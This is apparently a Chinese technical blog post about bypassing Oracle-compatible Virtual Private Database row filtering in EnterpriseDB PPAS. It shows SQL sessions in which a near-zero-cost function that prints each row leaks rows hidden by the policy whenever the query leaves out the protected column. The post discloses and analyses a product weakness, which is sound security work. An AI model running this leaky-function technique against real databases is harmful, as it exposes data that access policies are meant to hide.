EnterpriseDB (PPAS) Oracle兼容性Virtual Private Database(VPD) 数据隔离以及当前缺陷-阿里云开发者社区

开发者社区> 德哥> 正文

EnterpriseDB (PPAS) Oracle兼容性Virtual Private Database(VPD) 数据隔离以及当前缺陷

简介: 不带barrier的视图是不安全的,我在前面写过文章来讲这个,以及如何攻击这种视图。https://yq.aliyun.com/articles/14731PostgreSQL 为了增强视图的安全,增加了barrier的属性,来解决被攻击的问题。PostgreSQL 9.5 则提供了RLS来达到表.
+关注继续查看

不带barrier的视图是不安全的,我在前面写过文章来讲这个,以及如何攻击这种视图。
https://yq.aliyun.com/articles/14731
PostgreSQL 为了增强视图的安全,增加了barrier的属性,来解决被攻击的问题。
PostgreSQL 9.5 则提供了RLS来达到表数据隔离的目的,解决了需要使用视图来隔离数据的目的。
RLS的隔离可以参考我以前写的文章
http://blog.163.com/digoal@126/blog/static/16387704020153984016177/

回到本文的主题,EnterpriseDB 9.3针对Oracle的兼容性,提供了一个叫VPD的特性,因为9.3的版本较老,那个时候还没有RLS,所以这个特性其实是基于query rewrite来做的,与barrier视图类似。
用法参考(dbms_rls包)
https://www.enterprisedb.com/docs/en/9.5/eeguide/Postgres_Plus_Enterprise_Edition_Guide.1.158.html#pID0E02EE0HA

所以攻击方法一样有效,利用优化器的特性,先处理成本低的操作符或函数。

来看看怎么攻击?
创建测试表和数据

postgres=# create table t2(id int, info text,id2 int);
CREATE TABLE
postgres=# insert into t2 values (1,'test',0);
INSERT 16633 1
postgres=# insert into t2 values (2,'test',1);
INSERT 16634 1
postgres=# insert into t2 values (3,'test',2);
INSERT 16635 1
postgres=# insert into t2 values (4,'test',2);
INSERT 16636 1

创建VPD函数,对于digoal用户,只允许他查看info='digoal'的记录。

CREATE OR REPLACE FUNCTION vpd1(
    s_schema character varying,
    s_object character varying)
  RETURNS character varying AS
$BODY$
  RESULT varchar2(20); 
  rolname    varchar2(64);   
BEGIN
  rolname = SYS_CONTEXT('USERENV', 'SESSION_USER');
  if rolname = 'digoal' then
    RESULT = 'info = ''' ||rolname||'''' ;
  else
    RESULT = '1=1' ;
  END IF;
  RETURN(RESULT);
END$BODY$
  LANGUAGE edbspl VOLATILE SECURITY DEFINER
  COST 100;

添加VPD策略, select 任意字段都启用vpd策略

DECLARE
  v_object_schema VARCHAR2(30) := 'public';
  v_object_name VARCHAR2(30) := 't2';
  v_policy_name VARCHAR2(30) := 's_t2';
  v_function_schema VARCHAR2(30) := 'public';
  v_policy_function VARCHAR2(30) := 'vpd1';
  v_statement_types VARCHAR2(30) := 'SELECT,INSERT,UPDATE,DELETE';
  v_update_check boolean := true;
BEGIN
DBMS_RLS.ADD_POLICY(
v_object_schema,
v_object_name,
v_policy_name,
v_function_schema,
v_policy_function,
v_statement_types,
update_check => v_update_check
);
END;

连接到digoal用户

\c postgres digoal

查看执行计划,会筛选info='digoal'的数据

postgres=> explain select id from t2;
                           QUERY PLAN                            
-----------------------------------------------------------------
 Seq Scan on t2  (cost=0.00..24.50 rows=6 width=40)
   Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text))
(2 rows)

尝试视图攻击, 把函数的cost设置为很小

create or replace function f(v_t2 t2) returns boolean as 
$$
              
declare 
begin
  raise notice '%', v_t2;
  return true;
end;

$$
 language plpgsql strict cost 0.00000000001;

查看使用了f(t2)后的执行计划

postgres=> explain select * from t2 where f(t2);                                                                                                            
                                 QUERY PLAN                                  
-----------------------------------------------------------------------------
 Seq Scan on t2  (cost=0.00..24.50 rows=2 width=40)
   Filter: ((info = 'digoal'::text) AND f(t2.*) AND (info = 'digoal'::text))
(2 rows)

实际上,无法攻击,效果与barrier视图类似,没有办法进行攻击

postgres=> select * from t2 where f(t2);        
 id | info | id2 
----+------+-----
(0 rows)

postgres=> set enable_seqscan=off;             
SET
postgres=> explain select * from t2 where id=1;
                           QUERY PLAN                            
-----------------------------------------------------------------
 Index Scan using idx on t2  (cost=0.13..8.15 rows=1 width=40)
   Index Cond: (id = 1)
   Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text))
(3 rows)

但是,如果你指针对隐私列进行筛选的话,那么就有漏洞了。

DECLARE
  v_object_schema VARCHAR2(30) := 'public';
  v_object_name VARCHAR2(30) := 't2';
  v_policy_name VARCHAR2(30) := 's_t2';
BEGIN
DBMS_RLS.DROP_POLICY(
v_object_schema,
v_object_name,
v_policy_name
);
end;

DECLARE
  v_object_schema VARCHAR2(30) := 'public';
  v_object_name VARCHAR2(30) := 't2';
  v_policy_name VARCHAR2(30) := 's_t2';
  v_function_schema VARCHAR2(30) := 'public';
  v_policy_function VARCHAR2(30) := 'vpd1';
  v_statement_types VARCHAR2(30) := 'SELECT,INSERT,UPDATE,DELETE';
  v_update_check boolean := true;
  v_sec_relevant_cols text := 'info';  -- 隐私列, 不加的话默认是所有列强制走vpd
BEGIN
DBMS_RLS.ADD_POLICY(
v_object_schema,
v_object_name,
v_policy_name,
v_function_schema,
v_policy_function,
v_statement_types,
update_check => v_update_check,
sec_relevant_cols => v_sec_relevant_cols
);
END;

当没有查询到隐私列时,是不会带上filter的,所以给攻击带来了希望

\c postgres digoal

postgres=> explain select info from t2;      
                           QUERY PLAN                            
-----------------------------------------------------------------
 Seq Scan on t2  (cost=0.00..24.50 rows=6 width=32)
   Filter: ((info = 'digoal'::text) AND (info = 'digoal'::text))
(2 rows)

postgres=> explain select id,id2 from t2;
                      QUERY PLAN                      
------------------------------------------------------
 Seq Scan on t2  (cost=0.00..21.60 rows=1160 width=8)
(1 row)

带上隐私列时,filter会自动加上.

postgres=> select * from t2;   
 id | info | id2 
----+------+-----
(0 rows)

在查询中不包含隐私列时,攻击成功
通过f函数已经成功的拿到了隐私列的内容

postgres=> select id,id2 from t2 where f(t2);
NOTICE:  (1,test,0)
NOTICE:  (2,test,1)
NOTICE:  (3,test,2)
NOTICE:  (4,test,2)
 id | id2 
----+-----
  1 |   0
  2 |   1
  3 |   2
  4 |   2
(4 rows)

关于connect by,PPAS会自动将其转换成with语法,同样能保证数据的安全。

postgres=> explain select id,id2,info from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';
                                         QUERY PLAN                                          
---------------------------------------------------------------------------------------------
 Sort  (cost=1278.31..1278.32 rows=6 width=72)
   Sort Key: connectby_cte.siblingssortcol
   CTE prior
     ->  Recursive Union  (cost=0.00..1252.00 rows=1166 width=104)
           ->  WindowAgg  (cost=0.00..24.57 rows=6 width=40)
                 ->  Seq Scan on t2 t  (cost=0.00..24.50 rows=6 width=40)
                       Filter: ((info = 'digoal'::text) AND (id = 4))
           ->  WindowAgg  (cost=1.95..120.41 rows=116 width=104)
                 ->  Hash Join  (cost=1.95..118.38 rows=116 width=104)
                       Hash Cond: (t_1.id = prior.id2)
                       Join Filter: connectby_cyclecheck(prior.recursionpath, t_1.id2)
                       ->  Seq Scan on t2 t_1  (cost=0.00..21.60 rows=1160 width=40)
                             Filter: (info = 'digoal'::text)
                       ->  Hash  (cost=1.20..1.20 rows=60 width=68)
                             ->  WorkTable Scan on prior  (cost=0.00..1.20 rows=60 width=68)
   ->  CTE Scan on prior connectby_cte  (cost=0.00..26.23 rows=6 width=72)
         Filter: (info = 'digoal'::text)
(17 rows)

postgres=> select id,id2,info from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';        
 id | id2 | info 
----+-----+------
(0 rows)

postgres=> explain select id,id2 from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';     
                                         QUERY PLAN                                          
---------------------------------------------------------------------------------------------
 Sort  (cost=1334.71..1337.62 rows=1166 width=40)
   Sort Key: connectby_cte.siblingssortcol
   CTE prior
     ->  Recursive Union  (cost=0.00..1252.00 rows=1166 width=72)
           ->  WindowAgg  (cost=0.00..24.57 rows=6 width=8)
                 ->  Seq Scan on t2 t  (cost=0.00..24.50 rows=6 width=8)
                       Filter: (id = 4)
           ->  WindowAgg  (cost=1.95..120.41 rows=116 width=72)
                 ->  Hash Join  (cost=1.95..118.38 rows=116 width=72)
                       Hash Cond: (t_1.id = prior.id2)
                       Join Filter: connectby_cyclecheck(prior.recursionpath, t_1.id2)
                       ->  Seq Scan on t2 t_1  (cost=0.00..21.60 rows=1160 width=8)
                       ->  Hash  (cost=1.20..1.20 rows=60 width=68)
                             ->  WorkTable Scan on prior  (cost=0.00..1.20 rows=60 width=68)
   ->  CTE Scan on prior connectby_cte  (cost=0.00..23.32 rows=1166 width=40)
(15 rows)

postgres=> select id,id2 from t2 t CONNECT BY PRIOR T.id2 = T.id START WITH T.id = '4';        
 id | id2 
----+-----
  4 |   2
  2 |   1
  1 |   0
(3 rows)

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
我花10个小时,写出了小白也能看懂的阿里数据中台分析
数据中台被誉为大数据的下一站,由阿里兴起,核心思想是数据共享,2015年阿里提出“大中台,小前台”的策略。2018 年因为“腾讯数据中台论”,中台再度成为了人们谈论的焦点。 2019年,似乎人人都在提数据中台,但却不是所有人都清楚数据中台到底意味着什么。
3865 0
阿里云城市服务商分享怎么使用DTS迁移PPAS数据
使用数据传输服务(DTS)将本地数据库迁移到 RDS for PPAS,可以实现应用不停服务的情况下,平滑完成数据库的迁移工作。迁移过程中,对本地的 Oracle 数据库没有影响。那么如何操作呢,湖北区域阿里云城市服务商捷讯技术告诉您怎么使用怎么使用DTS迁移PPAS数据
1463 0
Oracle9i数据库DataGuard实施及维护手册2
六.实施步骤 Physical Standby配置 修改控制文件,修改最大日志组为10 alter database backup controlfile to trace; ORACLE_HOME为/export/home/oracle/app/oracle/product/9.
859 0
关于SpringMVC返回数据带斜杠字符串问题之解决方案
常用SpringMVC的基本都知道,@RestController和@ResponseBody加上了都会返回json数据。它们的区别主要是注解方面,一个是类级别的一个是方法级别。 之前我们比较喜欢使用@ResponseBody,后来觉得重复性太多了,特别是使用swagger以后,一个方法上面关注解就上了4到5层,为了减少这些繁杂的过程,我们就采取简洁策略,因为都是基于前后端分离开发,前端展示也不打算使用诸如jsp、freemarke、volocity等模板语言。
1468 0
Oracle数据安全解决方案系列-----Database Vault安装篇
http://space.itpub.net/3704/viewspace-559855 http://www.
1045 0
PostgreSQL Oracle 兼容性 - Oracle 19c 新特性在PostgreSQL中的使用
PostgreSQL Oracle 兼容性 - Oracle 19c 新特性在PostgreSQL中的使用
1410 0
+关注
德哥
公益是一辈子的事, I'm digoal, just do it.
2153
文章
245
问答
来源圈子
更多
阿里云数据库:帮用户承担一切数据库风险,给您何止是安心!支持关系型数据库:MySQL、SQL Server、PostgreSQL、PPAS(完美兼容Oracle)、自研PB级数据存储的分布式数据库Petadata、自研金融级云数据库OceanBase支持NoSQL数据库:MongoDB、Redis、Memcache更有褚霸、丁奇、德哥、彭立勋、玄惭、叶翔等顶尖数据库专家服务。
+ 订阅
文章排行榜
最热
最新
相关电子书
更多
《2021云上架构与运维峰会演讲合集》
立即下载
《零基础CSS入门教程》
立即下载
《零基础HTML入门教程》
立即下载